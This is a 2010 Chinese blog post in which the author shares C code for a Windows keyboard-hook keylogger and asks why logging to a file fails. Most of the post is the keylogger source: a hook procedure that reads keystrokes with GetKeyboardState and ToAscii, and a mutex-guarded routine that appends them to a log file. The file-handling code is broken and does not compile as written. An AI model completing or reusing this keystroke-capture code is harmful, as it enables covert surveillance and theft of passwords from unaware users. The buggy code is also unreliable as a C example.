博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

Hook键盘记录器的问题。。。。。

Posted on 2010-04-24 23:55  ccmfc  阅读(345)  评论(0编辑  收藏  举报

今天搞了一下Hook键盘记录器。。。。。

不知道为会么写文件的时候会出错。。

贴关键代码。。。。看来得解决这个问题才行啊。。。。。。。。。

void WriteChar(char* sText)
{
 //加锁
 HANDLE hMetux = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "PsKey400");
 if(hMetux != NULL)
  WaitForSingleObject(hMetux, 300);
 
 FILE fp;
 if ((fp = &fopen(m_CharFileName,"ab")) == NULL)
 {
  MessageBox(NULL,"打开了出错","打开了出错",MB_OK);
  fclose(&fp);
 }

 if (fwrite(sText,strlen(sText),1,&fp) != 1)
 {
  MessageBox(NULL,"写入出错","写入出错",MB_OK);
  fclose(&fp);
 }
 fclose(&fp);
 

 //取锁
 if(hMetux != NULL)
 {
  ReleaseMutex(hMetux);
  CloseHandle(hMetux);
 }
}

LRESULT WINAPI GetKeyMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
{
 LRESULT lResult = CallNextHookEx(g_khook, nCode, wParam, lParam);
 char key[10] = {0};
 BYTE buffer[256] = {0};
 WORD m_wchar = 0;
 UINT m_scan = 0;
    if ((lParam & 0x40000000) && (nCode == HC_ACTION))
 {
  if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>= 0x2f ) &&(wParam<= 0x100))
  {
   if (wParam == VK_RETURN)
   {
    WriteChar("\r\n");
     }
      else
   {
       GetKeyboardState(buffer);
       m_scan = 0;
    ToAscii(wParam,m_scan,buffer , &m_wchar,0);
    key[0] = m_wchar%255;
    if(key[0] >= 32 && key[0] <= 126)
     WriteChar(key);
   }
    }
 }
 return lResult;
}

 

出现问题。。写文件出错。。。